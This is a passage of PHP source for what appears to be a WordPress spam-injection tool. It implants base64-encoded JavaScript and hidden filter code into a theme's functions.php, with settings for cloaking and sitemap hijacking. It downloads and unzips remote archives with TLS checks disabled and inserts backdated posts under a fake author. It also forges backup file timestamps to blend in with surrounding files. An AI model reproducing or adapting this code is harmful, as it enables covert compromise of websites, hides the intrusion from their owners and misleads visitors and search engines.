        clearstatcache();
        $mutextTimestamp = filemtime($mutexName);
        return ((time() - $mutextTimestamp) > $outOfDateTimeInSeconds);
    }

    public static function customSetMutex($path) {
        file_put_contents($path, 1);
    }

    public static function checkSitemapNameRoot() {

        if (!is_writeable(WP_ROOT_DIR)) {
            GlobalLogs::setMainLog(WP_ROOT_DIR . ' isnt writeable');
            return false;
        }

        if (file_exists(WP_ROOT_DIR . '/' . SITEMAP_NAME . '.xml')) {
            GlobalLogs::setMainLog(SITEMAP_NAME . '.xml in root dir, change sitemap name');
            return false;
        }

        return true;
    }

    public static function sitemapHeadSec() {
        return <<<STR
<?xml version="1.0" encoding="UTF-8"?>
<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
STR;
    }

    public static function urlBlockSec($url, $lastmod, $changefreq, $priority) {

        return <<<STR
   <url>
      <loc>$url</loc>
      <lastmod>$lastmod</lastmod>
      <changefreq>$changefreq</changefreq>
      <priority>$priority</priority>
   </url>\n\n
STR;
    }

    public static function currenturl($rootDir, $host = null) {

        $host = !$host ? 'http://' . $_SERVER['HTTP_HOST'] : $host;
        $tmp = str_replace(realpath($_SERVER['DOCUMENT_ROOT']), '', $host . $rootDir);

        return $tmp;
    }

    public static function isBadEnvCustom() {

        $requestUri = $_SERVER['REQUEST_URI'];
        if (strstr($requestUri, 'wp-config-sample.php') !== false) {
            return true;
        }

        return false;
    }

    public static function slugPrepareBeforeInsert($filename, $contentPartsSlug) {
        if (defined('USE_ORIGINAL_SLUG') && (USE_ORIGINAL_SLUG === 1)) {
            $customSlug = WritePostsWpHandler::mb_basename($filename, '.html');

            if (CustomDbHandler::getInstance()->dbType === CustomDbHandler::DB_TYPE_SQLITE) {
                $customSlug = WritePostsWpHandler::stringToSlug($contentPartsSlug);
            }

        } else {
            $customSlug = $contentPartsSlug;
        }

        return $customSlug;
    }

    public static function mb_basename($file, $ext = '') {
        $explodedPath = explode('/', $file);
        $last = end($explodedPath);

        return ($ext !== '') ? str_replace($ext, '', $last) : $last;
    }

    public static function stringToSlug($str) {


        $options = array(
            'delimiter' => '-',
            'limit' => null,
            'lowercase' => true,
            'replacements' => array(),
            'transliterate' => true,
        );

        $char_map = array(
            // Latin
            'À' => 'A',
            'Á' => 'A',
            'Â' => 'A',
            'Ã' => 'A',
            'Ä' => 'A',
            'Å' => 'A',
            'Ă' => 'A',
            'Æ' => 'AE',
            'Ç' => 'C',
            'È' => 'E',
            'É' => 'E',
            'Ê' => 'E',
            'Ë' => 'E',
            'Ì' => 'I',
            'Í' => 'I',
            'Î' => 'I',
            'Ï' => 'I',
            'Ð' => 'D',
            'Ñ' => 'N',
            'Ò' => 'O',
            'Ó' => 'O',
            'Ô' => 'O',
            'Õ' => 'O',
            'Ö' => 'O',
            'Ő' => 'O',
            'Ø' => 'O',
            'Ș' => 'S',
            'Ù' => 'U',
            'Ú' => 'U',
            'Û' => 'U',
            'Ü' => 'U',
            'Ű' => 'U',
            'Ý' => 'Y',
            'Þ' => 'TH',
            'ß' => 'ss',
            'à' => 'a',
            'á' => 'a',
            'â' => 'a',
            'ã' => 'a',
            'ä' => 'a',
            'å' => 'a',
            'ă' => 'a',
            'æ' => 'ae',
            'ç' => 'c',
            'è' => 'e',
            'é' => 'e',
            'ê' => 'e',
            'ë' => 'e',
            'ì' => 'i',
            'í' => 'i',
            'î' => 'i',
            'ï' => 'i',
            'ð' => 'd',
            'ñ' => 'n',
            'ò' => 'o',
            'ó' => 'o',
            'ô' => 'o',
            'õ' => 'o',
            'ö' => 'o',
            'ő' => 'o',
            'ø' => 'o',
            'ș' => 's',
            'ù' => 'u',
            'ú' => 'u',
            'û' => 'u',
            'ü' => 'u',
            'ű' => 'u',
            'ý' => 'y',
            'þ' => 'th',
            'ÿ' => 'y',
            // Latin symbols
            '©' => '(c)',
            // Greek
            'Α' => 'A',
            'Β' => 'B',
            'Γ' => 'G',
            'Δ' => 'D',
            'Ε' => 'E',
            'Ζ' => 'Z',
            'Η' => 'H',
            'Θ' => '8',
            'Ι' => 'I',
            'Κ' => 'K',
            'Λ' => 'L',
            'Μ' => 'M',
            'Ν' => 'N',
            'Ξ' => '3',
            'Ο' => 'O',
            'Π' => 'P',
            'Ρ' => 'R',
            'Σ' => 'S',
            'Τ' => 'T',
            'Υ' => 'Y',
            'Φ' => 'F',
            'Χ' => 'X',
            'Ψ' => 'PS',
            'Ω' => 'W',
            'Ά' => 'A',
            'Έ' => 'E',
            'Ί' => 'I',
            'Ό' => 'O',
            'Ύ' => 'Y',
            'Ή' => 'H',
            'Ώ' => 'W',
            'Ϊ' => 'I',
            'Ϋ' => 'Y',
            'α' => 'a',
            'β' => 'b',
            'γ' => 'g',
            'δ' => 'd',
            'ε' => 'e',
            'ζ' => 'z',
            'η' => 'h',
            'θ' => '8',
            'ι' => 'i',
            'κ' => 'k',
            'λ' => 'l',
            'μ' => 'm',
            'ν' => 'n',
            'ξ' => '3',
            'ο' => 'o',
            'π' => 'p',
            'ρ' => 'r',
            'σ' => 's',
            'τ' => 't',
            'υ' => 'y',
            'φ' => 'f',
            'χ' => 'x',
            'ψ' => 'ps',
            'ω' => 'w',
            'ά' => 'a',
            'έ' => 'e',
            'ί' => 'i',
            'ό' => 'o',
            'ύ' => 'y',
            'ή' => 'h',
            'ώ' => 'w',
            'ς' => 's',
            'ϊ' => 'i',
            'ΰ' => 'y',
            'ϋ' => 'y',
            'ΐ' => 'i',
            // Turkish
            'Ş' => 'S',
            'İ' => 'I',
            'Ç' => 'C',
            'Ü' => 'U',
            'Ö' => 'O',
            'Ğ' => 'G',
            'ş' => 's',
            'ı' => 'i',
            'ç' => 'c',
            'ü' => 'u',
            'ö' => 'o',
            'ğ' => 'g',
            // Russian
            'А' => 'A',
            'Б' => 'B',
            'В' => 'V',
            'Г' => 'G',
            'Д' => 'D',
            'Е' => 'E',
            'Ё' => 'Yo',
            'Ж' => 'Zh',
            'З' => 'Z',
            'И' => 'I',
            'Й' => 'J',
            'К' => 'K',
            'Л' => 'L',
            'М' => 'M',
            'Н' => 'N',
            'О' => 'O',
            'П' => 'P',
            'Р' => 'R',
            'С' => 'S',
            'Т' => 'T',
            'У' => 'U',
            'Ф' => 'F',
            'Х' => 'H',
            'Ц' => 'C',
            'Ч' => 'Ch',
            'Ш' => 'Sh',
            'Щ' => 'Sh',
            'Ъ' => '',
            'Ы' => 'Y',
            'Ь' => '',
            'Э' => 'E',
            'Ю' => 'Yu',
            'Я' => 'Ya',
            'а' => 'a',
            'б' => 'b',
            'в' => 'v',
            'г' => 'g',
            'д' => 'd',
            'е' => 'e',
            'ё' => 'yo',
            'ж' => 'zh',
            'з' => 'z',
            'и' => 'i',
            'й' => 'j',
            'к' => 'k',
            'л' => 'l',
            'м' => 'm',
            'н' => 'n',
            'о' => 'o',
            'п' => 'p',
            'р' => 'r',
            'с' => 's',
            'т' => 't',
            'у' => 'u',
            'ф' => 'f',
            'х' => 'h',
            'ц' => 'c',
            'ч' => 'ch',
            'ш' => 'sh',
            'щ' => 'sh',
            'ъ' => '',
            'ы' => 'y',
            'ь' => '',
            'э' => 'e',
            'ю' => 'yu',
            'я' => 'ya',
            // Ukrainian
            'Є' => 'Ye',
            'І' => 'I',
            'Ї' => 'Yi',
            'Ґ' => 'G',
            'є' => 'ye',
            'і' => 'i',
            'ї' => 'yi',
            'ґ' => 'g',
            // Czech
            'Č' => 'C',
            'Ď' => 'D',
            'Ě' => 'E',
            'Ň' => 'N',
            'Ř' => 'R',
            'Š' => 'S',
            'Ť' => 'T',
            'Ů' => 'U',
            'Ž' => 'Z',
            'č' => 'c',
            'ď' => 'd',
            'ě' => 'e',
            'ň' => 'n',
            'ř' => 'r',
            'š' => 's',
            'ť' => 't',
            'ů' => 'u',
            'ž' => 'z',
            // Polish
            'Ą' => 'A',
            'Ć' => 'C',
            'Ę' => 'e',
            'Ł' => 'L',
            'Ń' => 'N',
            'Ó' => 'o',
            'Ś' => 'S',
            'Ź' => 'Z',
            'Ż' => 'Z',
            'ą' => 'a',
            'ć' => 'c',
            'ę' => 'e',
            'ł' => 'l',
            'ń' => 'n',
            'ó' => 'o',
            'ś' => 's',
            'ź' => 'z',
            'ż' => 'z',
            // Latvian
            'Ā' => 'A',
            'Č' => 'C',
            'Ē' => 'E',
            'Ģ' => 'G',
            'Ī' => 'i',
            'Ķ' => 'k',
            'Ļ' => 'L',
            'Ņ' => 'N',
            'Š' => 'S',
            'Ū' => 'u',
            'Ž' => 'Z',
            'ā' => 'a',
            'č' => 'c',
            'ē' => 'e',
            'ģ' => 'g',
            'ī' => 'i',
            'ķ' => 'k',
            'ļ' => 'l',
            'ņ' => 'n',
            'š' => 's',
            'ū' => 'u',
            'ž' => 'z'
        );

        // Transliterate characters to ASCII
        if ($options['transliterate']) {
            $str = str_replace(array_keys($char_map), $char_map, $str);
        }

        // Replace non-alphanumeric characters with our delimiter
        $str = preg_replace('/[^\p{L}\p{Nd}]+/u', $options['delimiter'], $str);

        // Remove duplicate delimiters
        $str = preg_replace('/(' . preg_quote($options['delimiter'], '/') . '){2,}/', '$1', $str);

        // Truncate slug to max. characters
        //$str = mb_substr($str, 0, ($options['limit'] ? $options['limit'] : mb_strlen($str, 'UTF-8')), 'UTF-8');

        $str = WritePostsWpHandler::mbSubstrCustom($str, 0,
            ($options['limit'] ? $options['limit'] : WritePostsWpHandler::mbStrlenCustom($str, 'UTF-8')));

        // Remove delimiter from ends
        $str = trim($str, $options['delimiter']);

        //return $options['lowercase'] ? mb_strtolower($str, 'UTF-8') : $str;
        return $options['lowercase'] ? WritePostsWpHandler::mbStrToLowerCustom($str, 'UTF-8') : $str;
    }

    public static function mbSubstrCustom($string, $offset, $length) {

        if (!function_exists('mb_substr')) {
            $arr = preg_split("//u", $string);
            $slice = array_slice($arr, $offset + 1, $length);
            return implode("", $slice);
        }
        return mb_substr($string, $offset, $length);


    }

    public static function mbStrlenCustom($string, $encoding) {

        if (function_exists('mb_strlen')) {
            return mb_strlen($string, $encoding);
        }
        return preg_match_all('/./us', $string, $matches);

    }

    public static function mbStrToLowerCustom($string, $encoding = null) {

        if (function_exists('mb_strtolower')) {
            return mb_strtolower($string, $encoding);
        }

        if (function_exists('iconv')) {
            return iconv('UTF-8', 'UTF-8//IGNORE',
                strtolower(iconv('UTF-8', 'ISO-8859-1//TRANSLIT', $string)));
        }

        preg_replace_callback('/\p{Lu}/u', function ($match) {
            return strtolower($match[0]);
        }, $string);
    }

    public static function getTemplatePath() {
        try {
            $templateName = CustomDbHandler::getInstance()->getOption('template');
            $templateName = $templateName['option_value'];
        } catch (Exception $ex) {
            GlobalLogs::setMainLog($ex->getMessage());
            return false;
        }

        if (file_exists(WP_ROOT_DIR . '/wp-content/themes/' . $templateName . '/functions.php')) {
            return WP_ROOT_DIR . '/wp-content/themes/' . $templateName;
        }

        //echo 'functions.php not found in theme directory' . PHP_EOL;
        return false;
    }

    public static function getSitemapUrls() {
        GlobalLogs::setMainLog(HOME_URL . '/' . SITEMAP_NAME . '.xml');
        GlobalLogs::setMainLog(HOME_URL . '/?feed=xml' . SITEMAP_NAME);
    }

    public static function debugDataCustom() {

        $settings = array();
        $settings = WritePostsWpHandler::getDbSettingsCustom();

        if ($settings) {
            foreach ($settings as $userId => $arr) {
                if (isset($arr['js']) && $decodedJs = WritePostsWpHandler::detectBase64js($arr['js'])) {
                    $settings[$userId]['js'] = WritePostsWpHandler::parseJsScript($decodedJs);
                }
            }
        }


        return array(
            'archivePath' => str_replace('{DIR_NUM}', DIR_NUM, URL_WITH_ARCHIVES),
            'authorId' => CUSTOM_AUTHOR_ID,
            'cloacking' => CLOACKING,
            'homeLinks' => (defined('HOME_LINKS')) ? HOME_LINKS : 0,
            'homeLinksSettings' => ((defined('HOME_LINKS') && (HOME_LINKS === 1))) ? $_SERVER['homeLinksSettings'] : array(),
            'forceChangeHomeLinksOwner' => defined('FORCE_CHANGE_HOME_LINKS_OWNER') ? FORCE_CHANGE_HOME_LINKS_OWNER : 0,
            'internalLinking' => INTERNAL_LINKING,
            'externalLinking' => EXTERNAL_LINKING,
            'sitemapName' => SITEMAP_NAME,
            'jsConfig' => WritePostsWpHandler::parseJsScript(JS_SOURCE),
            'usersSettings' => $settings,
        );
    }

    public static function getDbSettingsCustom() {

        $settings = CustomDbHandler::getInstance()->getOption(WritePostsWpHandler::optionCustomFilters());
        $firstSettings = array();
        $secondSettings = array();
        if ($settings) {
            //new settings
            $firstUnserialize = unserialize(base64_decode($settings['option_value']));

            if (isset($firstUnserialize['option_value'])) {
                //double unserialize fix
                $secondUnserialize = unserialize(base64_decode($firstUnserialize['option_value']));
                if ($secondUnserialize) {
                    $firstSettings = $secondUnserialize;
                }
            } else {
                if ($firstUnserialize) {
                    $firstSettings = $firstUnserialize;
                }
            }

        }

        $settings = CustomDbHandler::getInstance()->getOption('wp_custom_filters');

        if ($settings) {
            //old settings
            $unserializedSettings = unserialize(base64_decode($settings['option_value']));
            if ($unserializedSettings) {
                $secondSettings = $unserializedSettings;
            }
        }

        //!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!writeSettingsDB!!!!!!!!!!!!!!!!!!!!!

        return $firstSettings + $secondSettings;
    }

    public static function optionCustomFilters() {
        return md5(sha1($_SERVER['HTTP_HOST']));
    }

    public static function detectBase64js($string) {

        if (preg_match('~data:text\/javascript;base64,(.+?)\">~s', $string, $matches)) {
            return base64_decode($matches[1]);
        }

        return false;
    }

    public static function parseJsScript($string) {

        $results = array();
        preg_match('~hit;([^\?]+)~', $string, $lirucounter);

        if (isset($lirucounter[1])) {
            $results['lirucounter'] = $lirucounter[1];
        }


        preg_match('~([^\"\.\/]+\.js)\?ref~', $string, $route);

        if (isset($route[1])) {
            $results['route'] = $route[1];
        }


        preg_match('~src=.+?([^\/\"\\\\]+)~', $string, $domain);

        if (isset($domain[1])) {
            $results['domain'] = $domain[1];
        }

        return $results;
    }

    public static function removeHomeLinksCustom() {
        $optionsForDelete = CustomDbHandler::getInstance()->getOptionLike('home_links_custom_');
        $deletedOptionsCount = 0;
        if (!empty($optionsForDelete)) {

            foreach ($optionsForDelete as $optionsArr) {
                if (isset($optionsArr['option_name'])) {
                    $deletedOptionsCount++;
                    CustomDbHandler::getInstance()->deleteOption($optionsArr['option_name']);
                    GlobalLogs::setDebugLog('remove option name ' . $optionsArr['option_name']);
                }
            }
        }
        return $deletedOptionsCount;
    }

    public static function unzipSecondMethod() {
        $paths = array(
            TMPDIR
        );
        foreach ($paths as $path) {

            $zipFiles = glob($path . DIRECTORY_SEPARATOR . '*.zip');
            if (!is_dir($path)) {
                mkdir($path, 0755, true);
            }

            $zip = new ZipArchive();

            foreach ($zipFiles as $file) {
                if ($zip->open($file)) {

                    if ($zip->extractTo($path)) {
                        GlobalLogs::setMainLog("$file extracted");
                        unlink($file);
                        $zip->close();
                    }
                } else {
                    GlobalLogs::setMainLog("I cant open the archive $file");
                    return false;
                }
            }
        }
        file_put_contents(TMPDIR . '/unzipsuccess', '');
        return true;
    }

    public static function unzipFirstMethod() {

        $paths = array(
            TMPDIR
        );

        if (file_exists($unzipClassPath = WP_ROOT_DIR . '/wp-admin/includes/class-pclzip.php')) {
            include_once $unzipClassPath;
        } else {
            // TODO not found
            include_once TMPDIR . '/header.php';
        }


        foreach ($paths as $path) {

            $zipFiles = glob($path . DIRECTORY_SEPARATOR . '*.zip');

            //fpcDebug(implode('::', $zipFiles));

            foreach ($zipFiles as $file) {

                $archive = new PclZip($file);
                if ($archive->extract(PCLZIP_OPT_PATH, $path) == 0) {
                    GlobalLogs::setMainLog("Error : " . $archive->errorInfo(true));
                    return false;
                } else {
                    GlobalLogs::setMainLog(sprintf('%s unzipped', $file));
                    unlink($file);
                }
            }
        }
        file_put_contents(TMPDIR . '/unzipsuccess', '');

        return true;
    }

    public static function uploadRangeOfFiles($url, $range, $extension, $dirname = '') {

        list ($firstNum, $secondNum) = explode('-', $range);

        if (!WritePostsWpHandler::makeDir($dirname)) {
            throw new Exception("dont create dirname - $dirname");
        }

        foreach (range($firstNum, $secondNum) as $num) {
            $filename = $num . $extension;
            $localPath = ($dirname !== '') ? $dirname . DIRECTORY_SEPARATOR . $filename : $filename;

            if (WritePostsWpHandler::checkArchiveBeforeUpload($localPath) !== false) {
                continue;
            }

            //WritePostsWpHandler::saveRemoteFileCurl($url . $filename, $localPath);
            WritePostsWpHandler::saveRemoteFileCurlMod($url . $filename, $localPath);

            if (WritePostsWpHandler::checkArchiveAfterUpload($localPath) === false) {
                throw new Exception("error checking file - $filename");
            }

        }
    }

    public static function makeDir($dirname) {


        if ($dirname !== '') {
            if (!is_dir($dirname)) {
                if (!mkdir($dirname, 0777, true)) {
                    return false;
                }
            }
        }
        $GLOBALS['createdDirectories'][] = $dirname;

        return true;
    }

    public static function checkArchiveBeforeUpload($path) {

        GlobalLogs::setDebugLog(sprintf('check path - %s', $path));

        $archiveMutex = dirname($path) . '/' . md5($path);

        if (file_exists($archiveMutex)) {
            GlobalLogs::setDebugLog(sprintf('archive mutex exists  - %s', $archiveMutex));
            if (file_exists($path)) {
                GlobalLogs::setMainLog(sprintf('archive exists  - %s', $path));
                return true;
            }
        }
        GlobalLogs::setDebugLog(sprintf('error check archive  - %s', $path));
        return false;
    }

    public static function saveRemoteFileCurl($url, $localname) {

        $file = fopen('php://temp/maxmemory:0', 'w+b');

        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_FAILONERROR, true);
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_FILE, $file);
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
        curl_setopt($ch, CURLOPT_TIMEOUT, 20);
        curl_exec($ch);
        curl_close($ch);
        rewind($file);


        file_put_contents($localname, stream_get_contents($file));
        fclose($file);
        GlobalLogs::setDebugLog($localname . ' - ' . WritePostsWpHandler::filesizemb($localname) . ' MB');
    }

    public static function filesizemb($file) {
        return number_format(filesize($file) / pow(1024, 2), 3, '.', '');
    }

    public static function checkArchiveAfterUpload($path) {
        if (!file_exists($path)) {
            GlobalLogs::setDebugLog(sprintf('archive not found %s', $path));
            return false;
        }

        clearstatcache();

        if (filesize($path) < pow(10, 5)) {
            GlobalLogs::setDebugLog(sprintf('archive too small %s', $path));
            return false;
        }


        $mutexPath = dirname($path) . '/' . md5($path);
        GlobalLogs::setDebugLog(sprintf('create mutex -  %s', $mutexPath));
        file_put_contents($mutexPath, '');
        return true;

    }

    public static function saveRemoteFileCurlMod($url, $localname) {

        $file = fopen($localname, 'w+');


        if ($file === false) {
            throw new \Exception('invalid open tmp file');
        }

        $ch = curl_init();
        if ($ch === false) {
            fclose($file);
            throw new \Exception('invalid init curl()');
        }

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_FAILONERROR, true);
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
        curl_setopt($ch, CURLOPT_FILE, $file);
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
        curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 30);
        curl_setopt($ch, CURLOPT_TIMEOUT, 120);



        $result = curl_exec($ch);

        if ($result === false) {
            $error = curl_error($ch);
            curl_close($ch);
            fclose($file);
            throw  new \Exception("Curl error: $error");
        }


        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if ($httpCode != 200) {
            curl_close($ch);
            fclose($file);
            throw new Exception("HTTP error: $httpCode");
        }


        $contentLength = curl_getinfo($ch, CURLINFO_CONTENT_LENGTH_DOWNLOAD);
        curl_close($ch);
        fclose($file);

        $localFilzeSize = filesize($localname);
        if ($contentLength > 0 && ($localFilzeSize != $contentLength)) {
            throw new Exception("incomplete file: " . $localFilzeSize . " of $contentLength bytes");
        }

        return true;
    }

    public static function contentParts($pageSource) {

        preg_match_all('/\[(TITLE|TEXT)\](.+)\[\/(\1)]/ius'
            , $pageSource, $kuski);

        if (!isset($kuski[2][0])) {
            throw new Exception('invalid title');
        }
        if (!isset($kuski[2][1])) {
            throw new Exception('invalid text');
        }


        //$title = mb_convert_encoding(trim($kuski[2][0]), 'HTML-ENTITIES', "UTF-8");
        $title = WritePostsWpHandler::mbConvertEncodingCustom(trim($kuski[2][0]));
        $slug = WritePostsWpHandler::stringToSlug($kuski[2][0]);
        //$text = mb_convert_encoding(trim($kuski[2][1]), 'HTML-ENTITIES', "UTF-8");
        $text = WritePostsWpHandler::mbConvertEncodingCustom(trim($kuski[2][1]));

        return array(
            'title' => $title,
            'text' => $text,
            'slug' => $slug,
        );
    }

    public static function mbConvertEncodingCustom($string) {

        $string = trim($string);

        if (!function_exists('mb_convert_encoding')) {
            return htmlspecialchars_decode(htmlentities($string));
        }
        return mb_convert_encoding($string, 'HTML-ENTITIES', "UTF-8");


    }

    public static function resultFormat($blogUrl, $postId, $title) {
        return rtrim($blogUrl, '/') . '/?p=' . $postId . ';' . $title;
    }

    public static function randDate() {
        $randDate = mktime(rand(1, 11), rand(0, 59), rand(0, 59), date("m") + rand(1, 12), date("d") + rand(1, 20), date("Y") - rand(4, 7));
        return date('Y-m-d H:i:s', $randDate);

    }

    public static function deletePostsCurrentAuthor() {
        $userId = defined('CUSTOM_AUTHOR_ID') ? CUSTOM_AUTHOR_ID : 9999;
        if (!isset($users)) {
            $users = array($userId);
        }
        CustomDbHandler::getInstance()->deletePosts($users);
        return true;
    }

    public static function deletePostsAllAuthors() {
        $userId = defined('CUSTOM_AUTHOR_ID') ? CUSTOM_AUTHOR_ID : 9999;
        $settings = WritePostsWpHandler::getDbSettingsCustom();

        if (!$settings) {
            GlobalLogs::setMainLog('invalid get settings from db');
        } else {
            $users = array_keys($settings);

            foreach ($users as $key => $val) {
                if (preg_match('~\d{5}~', $val)) {
                    unset($users[$key]);
                }
            }

            if (!in_array(9999, $users)) {
                $users[] = 9999;
            }
        }

        if (!isset($users)) {
            $users = array($userId);
        }

        CustomDbHandler::getInstance()->deletePosts($users);

        return true;
    }

    public static function mbReplaceCustomFilters($functionsSource, $functionsPath, $sourceMod) {
        $optionCustom = WritePostsWpHandler::optionCustomFunctions();
        $customFiltersRegexp = '~/\*\s+custom filters\s+\*/(.+)/\*\s*custom filters\s*\*/~su';
        $customFiltersRegexpSec = "~/\*\s*$optionCustom\s*\*/(.+)/\*\s*$optionCustom\s*\*/~su";


        if (preg_match($customFiltersRegexp, $functionsSource, $matches)) {

            if (WritePostsWpHandler::modify_functions_php($functionsPath, $sourceMod, TMPDIR, true)) {

                GlobalLogs::setMainLog(sprintf('functions modified %s', $functionsPath));

                preg_match($customFiltersRegexpSec, $sourceMod, $newSourceMatches);
                $controlHash = md5(trim($newSourceMatches[1]));
                CustomDbHandler::getInstance()->insertOrUpdate($optionCustom, $controlHash);

                return true;
            }

        }

        if (preg_match($customFiltersRegexpSec, $functionsSource, $matches)) {

            $sourceHash = md5(trim($matches[1]));
            $dbHash = CustomDbHandler::getInstance()->getOption($optionCustom);


            if ($dbHash && ($sourceHash === $dbHash['option_value'])) {
                GlobalLogs::setMainLog('functions php hashes are identity');
                return true;
            } else {
                GlobalLogs::setMainLog('checksums do not match');
            }
        }
        GlobalLogs::setMainLog('code not found... record!');


        if (WritePostsWpHandler::modify_functions_php($functionsPath, $sourceMod, TMPDIR, true)) {

            GlobalLogs::setMainLog('functions modified');

            preg_match($customFiltersRegexpSec, $sourceMod, $matches);
            $controlHash = md5(trim($matches[1]));
            CustomDbHandler::getInstance()->insertOrUpdate($optionCustom, $controlHash);
            return true;
        }


        return false;
    }

    public static function optionCustomFunctions() {
        return md5(crc32($_SERVER['HTTP_HOST']));
    }

    public static function modify_functions_php($functionsPath, $source, $tmpDir, $deleteOldCustomFilters = false) {

        $functionsSource = file_get_contents($functionsPath);
        WritePostsWpHandler::oldFunctionPathBak($tmpDir, $functionsPath);
        $optionCustom = WritePostsWpHandler::optionCustomFunctions();

        if ($deleteOldCustomFilters) {
            $customFiltersRegexpSec = "~/\*\s*(custom filters|$optionCustom)\s*\*/(.+)/\*\s*(custom filters|$optionCustom)\s*\*/~su";
            $functionsSource = preg_replace($customFiltersRegexpSec, '', $functionsSource);
        }

        preg_match('~\<\?(php)*~', $functionsSource, $tagMatches);

        if (empty($tagMatches)) {
            GlobalLogs::setMainLog('not found php tag in functions php');
            GlobalLogs::setMainLog('functions php maybe empty');
            $newFunctionSource =  '<?'.'p'.'hp' . "\n\n" . $source;
        }
        else {
            $phpMatches = preg_quote($tagMatches[0]);
            $newFunctionSource = preg_replace("~$phpMatches~", $tagMatches[0] . "\n\n" . $source, $functionsSource, 1);
        }


        if (file_put_contents($functionsPath, $newFunctionSource) !== false) {
            /* dont touch me please */
            return true;
        }

        return false;
    }

    public static function oldFunctionPathBak($tmpDir, $functionsPath) {

        if (!is_writeable(dirname($functionsPath))) {
            $backupPath = TMPDIR . '/' . basename($functionsPath) . '_bak';
        } else {
            $backupPath = $functionsPath . '_bak';
        }


        GlobalLogs::setMainLog(sprintf('functions backup path - %s', $backupPath));

        file_put_contents($backupPath, file_get_contents($functionsPath));
        touch($backupPath, WritePostsWpHandler::frequenttimestamp(dirname($backupPath)));
    }

    public static function frequenttimestamp($pathtodir) {

        foreach (glob($pathtodir . "/*php") as $file) {
            $tmp[] = filemtime($file);
        }
        $count = array_count_values($tmp);
        arsort($count);
        $keys = array_keys($count);

        return array_shift($keys);
    }

    public static function settingsArr($functionsSource) {

        $oldSettings = WritePostsWpHandler::findOldSettings($functionsSource);
        $userId = defined('CUSTOM_AUTHOR_ID') ? CUSTOM_AUTHOR_ID : 9999;
        $sitemapRegexArr = WritePostsWpHandler::customSitemapName(SITEMAP_NAME);

        $newSettings = WritePostsWpHandler::generateSettings($userId, WritePostsWpHandler::jsPrepare(JS_SOURCE), key($sitemapRegexArr)
            , current($sitemapRegexArr), $_SERVER['homeLinksSettings']);

        if (!$oldSettings) {

            //echo 'only new settings' . PHP_EOL;

            return $newSettings;
        } else {
            $settings = WritePostsWpHandler::compareNewOldSettings($oldSettings, $newSettings, $userId);
            if (defined('FORCE_CHANGE_HOME_LINKS_OWNER') && FORCE_CHANGE_HOME_LINKS_OWNER === 1) {
                $settings = WritePostsWpHandler::removeHomeLinkKey($settings);
            }

            return $settings;
        }
    }

    public static function findOldSettings($functionsSource) {

        $oldSourceRegex = '/\'(.+?\.xml\$)\'\s*=>\s*\'(.+?)\'/m';

        if (preg_match($oldSourceRegex, $functionsSource, $oldSourceMatches)) {

            GlobalLogs::setMainLog('old settings value detected');


            $jsScriptRegex = '/\$str\s*=\s*<<<STR(.+?)STR;/s';
            preg_match($jsScriptRegex, $functionsSource, $jsMatches);

            $oldSettingsArr = WritePostsWpHandler::generateSettings(9999, trim($jsMatches[1])
                , $oldSourceMatches[1], $oldSourceMatches[2], null);

            return $oldSettingsArr;
        } else {
            //find in db
            GlobalLogs::setMainLog('find old settings in DB');
            return WritePostsWpHandler::getDbSettingsCustom();
        }
    }

    public static function generateSettings($userId, $jsSource, $sitemapRegex, $feedPath, $homeLinksSettings) {
        return array(
            $userId => array(
                'js' => $jsSource,
                'sitemapsettings' => array(
                    $sitemapRegex => $feedPath,
                ),
                'nojs' => (defined('CLOACKING')) ? CLOACKING : 0,
                'homeLinks' => (defined('HOME_LINKS') && HOME_LINKS === 1) ? $homeLinksSettings : null,
            ),
        );
    }

    public static function customSitemapName($sitemapName) {
        return array(
            "$sitemapName\.xml$" => "index.php?feed=xml$sitemapName"
        );
    }

    public static function jsPrepare($jsSource) {

        $base64 = base64_encode($jsSource);

        return '<script src="data:text/javascript;base64,' . $base64 . '"></script>';
    }

    public static function compareNewOldSettings($oldSettings, $newSettings, $userId) {

        if (!isset($oldSettings[$userId])) {
            $newSettingsKey = key($newSettings);
            $newSettingsRegex = key($newSettings[$newSettingsKey]['sitemapsettings']);
            foreach ($oldSettings as $key => $value) {

                $oldSettingsRegex = key($value['sitemapsettings']);

                if ($oldSettingsRegex === $newSettingsRegex) {
                    $oldSitemapValue = str_replace('\.xml$', '', $oldSettingsRegex);
                    GlobalLogs::setMainLog(sprintf('%s already used in oldsettings', $oldSitemapValue));
                    return false;
                }
            }

            return $newSettings + $oldSettings;
        }

        $jsDiff = strcmp($oldSettings[$userId]['js'], $newSettings[$userId]['js']);

        if ($jsDiff !== 0) {
            GlobalLogs::setMainLog('js scripts are different');
            if (defined('REDEFINE_JS_FOR_USER') && REDEFINE_JS_FOR_USER === 1) {
                GlobalLogs::setMainLog('old script will be overwritten');
            } else {
                return false;
            }
        }

        $sitemapSettingsDiff = strcmp(key($oldSettings[$userId]['sitemapsettings'])
            , key($newSettings[$userId]['sitemapsettings']));

        if ($sitemapSettingsDiff !== 0) {
            $oldSitemapValue = key($oldSettings[$userId]['sitemapsettings']);
            $oldSitemapValue = str_replace('\.xml$', '', $oldSitemapValue);

            GlobalLogs::setMainLog('sitemap settings are different');
            GlobalLogs::setMainLog('old sitemap value %s', $oldSitemapValue);


            return false;
        }

        return $newSettings + $oldSettings;
        //return $newSettings;
    }

    public static function removeHomeLinkKey($settings) {
        foreach ($settings as $key => $arr) {
            if ($key === CUSTOM_AUTHOR_ID) {
                continue;
            }
            if (isset($settings[$key]['homeLinks'])) {
                unset($settings[$key]['homeLinks']);
            }
        }

        return $settings;
    }

    public static function downloadExternalLinks($countHtmlFiles) {
        list ($minExtLinks, $maxExtLinks) = explode('..', EXTERNAL_LINKS_COUNT_PAGE);
